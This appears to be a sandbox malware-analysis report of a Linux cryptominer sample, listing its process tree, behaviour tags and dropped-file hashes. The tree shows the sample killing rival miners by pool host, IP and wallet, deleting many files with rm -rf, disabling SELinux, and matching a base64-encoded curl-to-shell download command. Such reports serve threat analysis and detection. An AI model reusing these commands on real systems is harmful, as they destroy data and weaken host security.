/bin/grepgrep 107.174.47.1562⤵PID:1515
-
-
/bin/grepgrep -v grep2⤵PID:1514
-
-
/bin/psps aux2⤵PID:1513
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1521
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1522
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1520
-
-
/bin/grepgrep -v grep2⤵PID:1519
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1518
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1526
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1527
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1525
-
-
/bin/grepgrep -v grep2⤵PID:1524
-
-
/bin/psps aux2⤵PID:1523
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1532
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1531
-
-
/bin/grepgrep 144.217.45.452⤵PID:1530
-
-
/bin/grepgrep -v grep2⤵PID:1529
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1528
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1536
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1537
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1535
-
-
/bin/grepgrep -v grep2⤵PID:1534
-
-
/bin/psps aux2⤵PID:1533
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1541
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1542
-
-
/bin/grepgrep 176.31.6.162⤵PID:1540
-
-
/bin/grepgrep -v grep2⤵PID:1539
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1538
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1546
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1545
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1547
-
-
/bin/grepgrep -v grep2⤵PID:1544
-
-
/bin/psps auxf2⤵PID:1543
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1551
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1552
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1550
-
-
/bin/grepgrep -v grep2⤵PID:1549
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1548
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1556
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1557
-
-
/bin/grepPID:1555
-
-
/bin/grepgrep -v grep2⤵PID:1554
-
-
/bin/psps auxf2⤵PID:1553
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1561
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1562
-
-
/bin/grepgrep monerohash.com2⤵PID:1560
-
-
/bin/grepgrep -v grep2⤵PID:1559
-
-
/bin/psps auxf2⤵PID:1558
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1566
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1567
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1565
-
-
/bin/grepgrep -v grep2⤵PID:1564
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1563
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1571
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1572
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1570
-
-
/bin/grepgrep -v grep2⤵PID:1569
-
-
/bin/psps auxf2⤵PID:1568
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1577
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1576
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1575
-
-
/bin/grepgrep -v grep2⤵PID:1574
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1573
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1581
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1582
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1580
-
-
/bin/grepgrep -v grep2⤵PID:1579
-
-
/bin/psps auxf2⤵PID:1578
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1586
-
/usr/local/sbin/killkill -9 15843⤵PID:1587
-
-
/usr/local/bin/killkill -9 15843⤵PID:1587
-
-
/usr/sbin/killkill -9 15843⤵PID:1587
-
-
/usr/bin/killkill -9 15843⤵PID:1587
-
-
/sbin/killkill -9 15843⤵PID:1587
-
-
/bin/killkill -9 15843⤵PID:1587
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1585
-
-
/bin/grepgrep xiaoyao2⤵PID:1584
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1583
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1590
-
-
/bin/grepgrep xiaoxue2⤵PID:1589
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1591
-
/usr/local/sbin/killkill -9 15893⤵PID:1592
-
-
/usr/local/bin/killkill -9 15893⤵PID:1592
-
-
/usr/sbin/killkill -9 15893⤵PID:1592
-
-
/usr/bin/killkill -9 15893⤵PID:1592
-
-
/sbin/killkill -9 15893⤵PID:1592
-
-
/bin/killkill -9 15893⤵PID:1592
-
-
-
/bin/psps auxf2⤵PID:1588
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1595
-
-
/bin/grepgrep 46.243.253.152⤵PID:1594
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1596
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1597
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1598
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1601
-
-
/bin/grepgrep 176.31.6.162⤵PID:1600
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1602
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1603
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1604
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1606
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1605
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1608
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1607
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1610
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵
- Reads runtime system information
PID:1609
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1612
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1611
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1614
-
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1613
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1616
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵
- Reads runtime system information
PID:1615
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1618
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1620
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1619
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1622
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1621
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1624
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵PID:1623
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1626
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1625
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1628
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵
- Reads CPU attributes
PID:1627
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1630
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1629
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1632
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵PID:1631
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1634
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵PID:1633
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1636
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1635
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1638
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵
- Reads runtime system information
PID:1637
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1640
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵PID:1639
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1642
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵
- Reads CPU attributes
PID:1641
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1644
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1643
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1646
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵
- Reads CPU attributes
PID:1645
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1648
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1647
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1650
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵
- Reads CPU attributes
PID:1649
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1652
-
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1651
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1654
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1653
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1656
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵PID:1655
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1658
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵PID:1657
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1660
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵PID:1659
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1662
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵PID:1661
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1664
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1663
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1666
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵
- Reads CPU attributes
PID:1665
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1668
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵PID:1667
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1670
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads runtime system information
PID:1669
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1672
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵
- Reads CPU attributes
PID:1671
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1674
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵PID:1673
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1676
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵
- Reads runtime system information
PID:1675
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1678
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1677
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1680
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1679
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1682
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵
- Reads CPU attributes
PID:1681
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1684
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1683
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1686
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵PID:1685
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1688
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1687
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1690
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵
- Reads CPU attributes
PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1692
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵
- Reads runtime system information
PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1694
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1693
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1696
-
-
/usr/bin/pgreppgrep -f servim2⤵PID:1695
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1698
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵
- Reads CPU attributes
PID:1697
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1700
-
-
/usr/bin/pgreppgrep -f native_svc2⤵PID:1699
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1702
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1701
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1704
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵
- Reads CPU attributes
- Reads runtime system information
PID:1703
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1706
-
-
/usr/bin/pgreppgrep -f jmxx2⤵
- Reads CPU attributes
PID:1705
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1708
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵
- Reads CPU attributes
PID:1707
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1710
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1709
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1712
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵PID:1711
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1714
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1713
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1716
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵PID:1715
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵
- Reads runtime system information
PID:1717
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1718
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1719
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1720
-
-
/usr/bin/pkillpkill -f performedl2⤵
- Reads CPU attributes
PID:1721
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1722
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵PID:1723
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵
- Reads runtime system information
PID:1724
-
-
/usr/bin/pkillpkill -f irqbnc12⤵PID:1725
-
-
/usr/bin/pkillpkill -f ir29xc12⤵
- Reads CPU attributes
- Reads runtime system information
PID:1726
-
-
/usr/bin/pkillpkill -f conns2⤵PID:1727
-
-
/usr/bin/pkillpkill -f irqbalance2⤵PID:1728
-
-
/usr/bin/pkillpkill -f XJnRj2⤵PID:1729
-
-
/usr/bin/pkillpkill -f mgwsl2⤵PID:1730
-
-
/usr/bin/pkillpkill -f pythno2⤵PID:1731
-
-
/usr/bin/pkillpkill -f jweri2⤵
- Reads CPU attributes
PID:1732
-
-
/usr/bin/pkillpkill -f lx262⤵
- Reads CPU attributes
PID:1733
-
-
/usr/bin/pkillpkill -f NXLAi2⤵
- Reads CPU attributes
PID:1734
-
-
/usr/bin/pkillpkill -f BI5zj2⤵PID:1735
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵PID:1736
-
-
/usr/bin/pkillpkill -f minerd2⤵
- Reads CPU attributes
PID:1737
-
-
/usr/bin/pkillpkill -f minergate2⤵PID:1738
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵
- Reads runtime system information
PID:1739
-
-
/usr/bin/pkillpkill -f ysaydh2⤵PID:1740
-
-
/usr/bin/pkillpkill -f bonns2⤵PID:1741
-
-
/usr/bin/pkillpkill -f donns2⤵PID:1742
-
-
/usr/bin/pkillpkill -f kxjd2⤵PID:1743
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵
- Reads CPU attributes
PID:1744
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵
- Reads runtime system information
PID:1745
-
-
/usr/bin/pkillpkill -f conn.sh2⤵PID:1746
-
-
/usr/bin/pkillpkill -f kworker342⤵
- Reads CPU attributes
PID:1747
-
-
/usr/bin/pkillpkill -f kw.sh2⤵PID:1748
-
-
/usr/bin/pkillpkill -f pro.sh2⤵
- Reads CPU attributes
PID:1749
-
-
/usr/bin/pkillpkill -f polkitd2⤵
- Reads runtime system information
PID:1750
-
-
/usr/bin/pkillpkill -f acpid2⤵
- Reads runtime system information
PID:1751
-
-
/usr/bin/pkillpkill -f icb5o2⤵PID:1752
-
-
/usr/bin/pkillpkill -f nopxi2⤵PID:1753
-
-
/usr/bin/pkillpkill -f irqbalanc12⤵
- Reads CPU attributes
PID:1754
-
-
/usr/bin/pkillpkill -f minerd2⤵
- Reads CPU attributes
PID:1755
-
-
/usr/bin/pkillpkill -f i5862⤵PID:1756
-
-
/usr/bin/pkillpkill -f gddr2⤵PID:1757
-
-
/usr/bin/pkillpkill -f mstxmr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1758
-
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1759
-
-
/usr/bin/pkillpkill -f wnTKYg2⤵PID:1760
-
-
/usr/bin/pkillpkill -f deamon2⤵
- Reads runtime system information
PID:1761
-
-
/usr/bin/pkillpkill -f disk_genius2⤵
- Reads CPU attributes
PID:1762
-
-
/usr/bin/pkillpkill -f sourplum2⤵PID:1763
-
-
/usr/bin/pkillpkill -f polkitd2⤵
- Reads runtime system information
PID:1764
-
-
/usr/bin/pkillpkill -f nanoWatch2⤵
- Reads runtime system information
PID:1765
-
-
/usr/bin/pkillpkill -f zigw2⤵PID:1766
-
-
/usr/bin/pkillpkill -f devtool2⤵PID:1767
-
-
/usr/bin/pkillpkill -f devtools2⤵
- Reads CPU attributes
PID:1768
-
-
/usr/bin/pkillpkill -f systemctI2⤵
- Reads runtime system information
PID:1769
-
-
/usr/bin/pkillpkill -f watchbog2⤵PID:1770
-
-
/usr/bin/pkillpkill -f sustes2⤵PID:1771
-
-
/usr/bin/pkillpkill -f xmrig2⤵PID:1772
-
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵PID:1773
-
-
/usr/bin/pkillpkill -f 121.42.151.1372⤵PID:1774
-
-
/usr/bin/pkillpkill -f init12.cfg2⤵PID:1775
-
-
/usr/bin/pkillpkill -f nginxk2⤵PID:1776
-
-
/usr/bin/pkillpkill -f tmp/wc.conf2⤵PID:1777
-
-
/usr/bin/pkillpkill -f xmrig-notls2⤵PID:1778
-
-
/usr/bin/pkillpkill -f xmr-stak2⤵
- Reads CPU attributes
PID:1779
-
-
/usr/bin/pkillpkill -f suppoie2⤵PID:1780
-
-
/usr/bin/pkillpkill -f zer0day.ru2⤵PID:1781
-
-
/usr/bin/pkillpkill -f dbus-daemon--system2⤵
- Reads CPU attributes
PID:1782
-
-
/usr/bin/pkillpkill -f nullcrew2⤵PID:1783
-
-
/usr/bin/pkillpkill -f systemctI2⤵PID:1784
-
-
/usr/bin/pkillpkill -f kworkerds2⤵
- Reads CPU attributes
PID:1785
-
-
/usr/bin/pkillpkill -f init10.cfg2⤵PID:1786
-
-
/usr/bin/pkillpkill -f /wl.conf2⤵PID:1787
-
-
/usr/bin/pkillpkill -f crond642⤵PID:1788
-
-
/usr/bin/pkillpkill -f sustse2⤵PID:1789
-
-
/usr/bin/pkillpkill -f vmlinuz2⤵PID:1790
-
-
/usr/bin/pkillpkill -f exin2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1791
-
-
/usr/bin/pkillpkill -f apachiii2⤵
- Reads runtime system information
PID:1792
-
-
/usr/bin/pkillpkill -f svcworkmanager2⤵PID:1793
-
-
/usr/bin/pkillpkill -f xr2⤵
- Reads runtime system information
PID:1794
-
-
/usr/bin/pkillpkill -f trace2⤵PID:1795
-
-
/usr/bin/pkillpkill -f svcupdate2⤵
- Reads CPU attributes
PID:1796
-
-
/usr/bin/pkillpkill -f networkmanager2⤵PID:1797
-
-
/usr/bin/pkillpkill -f phpupdate2⤵PID:1798
-
-
/bin/rmrm -rf /usr/bin/config.json2⤵PID:1799
-
-
/bin/rmrm -rf /usr/bin/exin2⤵PID:1800
-
-
/bin/rmrm -rf /tmp/wc.conf2⤵PID:1801
-
-
/bin/rmrm -rf /tmp/log_rot2⤵PID:1802
-
-
/bin/rmrm -rf /tmp/apachiii2⤵PID:1803
-
-
/bin/rmrm -rf /tmp/sustse2⤵PID:1804
-
-
/bin/rmrm -rf /tmp/php2⤵PID:1805
-
-
/bin/rmrm -rf /tmp/p2.conf2⤵PID:1806
-
-
/bin/rmrm -rf /tmp/pprt2⤵PID:1807
-
-
/bin/rmrm -rf /tmp/ppol2⤵PID:1808
-
-
/bin/rmrm -rf /tmp/javax/config.sh2⤵PID:1809
-
-
/bin/rmrm -rf /tmp/javax/sshd22⤵PID:1810
-
-
/bin/rmrm -rf /tmp/.profile2⤵PID:1811
-
-
/bin/rmrm -rf /tmp/1.so2⤵PID:1812
-
-
/bin/rmrm -rf /tmp/kworkerds2⤵PID:1813
-
-
/bin/rmrm -rf /tmp/kworkerds32⤵PID:1814
-
-
/bin/rmrm -rf /tmp/kworkerdssx2⤵PID:1815
-
-
/bin/rmrm -rf /tmp/xd.json2⤵PID:1816
-
-
/bin/rmrm -rf /tmp/syslogd2⤵PID:1817
-
-
/bin/rmrm -rf /tmp/syslogdb2⤵PID:1818
-
-
/bin/rmrm -rf /tmp/65ccEJ72⤵PID:1819
-
-
/bin/rmrm -rf /tmp/jmxx2⤵PID:1820
-
-
/bin/rmrm -rf /tmp/2Ne80nA2⤵PID:1821
-
-
/bin/rmrm -rf /tmp/dl2⤵PID:1822
-
-
/bin/rmrm -rf /tmp/ddg2⤵PID:1823
-
-
/bin/rmrm -rf /tmp/systemxlv2⤵PID:1824
-
-
/bin/rmrm -rf /tmp/systemctI2⤵PID:1825
-
-
/bin/rmrm -rf /tmp/.abc2⤵PID:1826
-
-
/bin/rmrm -rf /tmp/osw.hb2⤵PID:1827
-
-
/usr/sbin/sendmailsendmail -t1⤵PID:739
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1rxaUM-0000Bv-Qj2⤵PID:753
-
-
/usr/sbin/sendmailsendmail -t1⤵PID:742
-
/usr/sbin/exim4/usr/sbin/exim4 -Mc 1rxaUM-0000By-Qh2⤵PID:752
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:765
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:764
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2B
MD5b026324c6904b2a9cb4b88d6d61c81d1
SHA1e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA2564355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA5123abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
-
Filesize
14KB
MD5acdd938a49c8649f09ac5161e179f436
SHA1a0280dfedd8a81bf583b988e2b87f36705411347
SHA2568037fc1be0bf4f74bcfddadc1d3b0caf64076d56d36504c8bd68da94608d872a
SHA51228172ada3f95e5c0ea9c952ec7fca38ba11c871286fc91ff8cc2193233ef2a18cdd7e8dc56fb0f335030aed2ef9c3fb4a9f9b16eb5c6d8f2021fbbeeb4bad010
-
Filesize
825B
MD5ca5baea6c83549eb6216099f4670798a
SHA196f826e0517c88efb122ad83c5c8583612fc5f50
SHA256ffe81d92589cba2fe45d0fd6488f263de1e866ce76270eb10ea8ea45b1fadf78
SHA512b37b6a59a0e51a3523daee6e9893385fccad5a817ce7cbb5bccc76697e4c8682f76e8d9dbf5b7145cc05794cc0c775700aaa30604ee9f2048f49babf8d2d0bf1
-
Filesize
1KB
MD5db8545831f3ac8d18c79dc33972ce304
SHA1076b918c728347e334bac5576ea04f4c65edc0d0
SHA2567d99e581cf3cb3f64d9cb8dbf3b1648a6c2280a783e69bfa519482571ec4fee0
SHA512ac5a35c4b67240afa03c2f52016350c7d89a787b8c53d6288d76313f9646a05d037e2a4c64db9b34def041c082732a8efea0fd6a20ee2894fce8d7a1d13164e5
-
Filesize
2KB
MD586c4874bbd73e9b97f60f6136fb63b60
SHA1b3f05f0a9910bfd46617c582af67a94b93432972
SHA256185586aba2dc8a9e3ae4ba5589d446dc73170638a0bfa6b613b7480b26ed0a9d
SHA5129f25cf736b438c7e8b014db98e4108e39e3051c7c43357f014592147020c4c447143c2cc13378859ba55df3d21a762ca52574305a3b47560136edb62a7d38733
-
Filesize
3KB
MD5f7b251026e073bdedfab66a7689d8ee8
SHA1caa9c090299173ea9d3848ca642d7bff9d7d621b
SHA256543c7ca379c523e3858eb99da87d521de89abef14e8ecfda4565b025dad0dc16
SHA5128a06cdcc7503ce072ba57d63ddb8c351f19fde3b747a02326648aa13864e70a903c81e41fa7f0eaeeac9ab74b0eedfbb5ad907975f630eb3f60536eca624a3a8
-
Filesize
4KB
MD5378182b2b23a65c6be96c0b41b349e25
SHA18dd457a32f61cf82eee5bc884746723a65e9c85b
SHA2561df3af41b529865d31bdcd5ff88ef246160050ea8161df781bd10cb83e9a5286
SHA5120b5ad129a3bd542bad0e4dc5fea1f66ea35bf2a82505675ada24d264f8f9575528af4d9f17309daa3ac37616733ab6957021594d5d4d979347f1b9e295339c32
-
Filesize
4KB
MD5e485bc17efb68bfd12b0881d34ca4d91
SHA14cf3a939f3bc4f3e6b800607e6c7c8ad38d5ab60
SHA256006cd4114644a52e38b67f1ea4055c3ecbf9deedb8ddf68f4e6177b8146a001e
SHA5127324a6f651fcc9cda8709fd183a396f30c269f9c7f7d2cd1dda87c986cfda206e57d8eb5777fbc67223d1a15dc2252521e30905b082aa0a3ce6a79148fbdd97e
-
Filesize
128B
MD526021b1990085d9d6ece0c4ed61a2990
SHA198e65c4041e9e8716d97054160d9865a25679cfe
SHA256c26a91f4b371ada743343d3fc99f3bd067a4c435937e4fec62249a856f0c9d02
SHA512122b9877a0ea59a76b76fed6dc6b11cb298c97bec249bea5e13af38266139704fff938fd5492515338215279b5801fbb898cb7ad32edf8d6fb65b8065fa7d870
-
Filesize
34B
MD5d7d96d63d643a4ce3e408eba7dfcedc5
SHA1c53607f95c5c57beafc1d8266646797a035f76ea
SHA25621db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3
-
Filesize
146B
MD522216d8e84e08734f809c8f8f40dfc83
SHA12febb6d8679e4bb24244482aa4099855514d40d2
SHA256e95b0726f781857c6b603e1ccf5b164ac9927ac5cbdb067a6e1c609baefe8112
SHA5129ba2ebbdd1a0679fe1b4ed58d116e7baa2f7f39d8bd6f28f516eee488fd8476d8be82ca43c5ebe3bafe1c0a8df9d780dc43d9ecd47d43bf47097dcbb7c1eb10e
-
Filesize
128B
MD5f5334acf5516c0edbab41f37a388ccf7
SHA119bbaf916836a48ce2fa136698601d8de6fcbba5
SHA256379d546fc64344687da18f6a77b2548446108215176d49aa5f9d440795f4141b
SHA51235fafd05d9b1fca837fcb6cae25dfdaa3227cb14188e2e7f7f33a5fb50ed640c369ae19c008cf65ab8b5b977559c32164c4efe44025bcb88302c08cb0626d856
-
Filesize
146B
MD519b4ad9baa4f594635e1ef2d825a99df
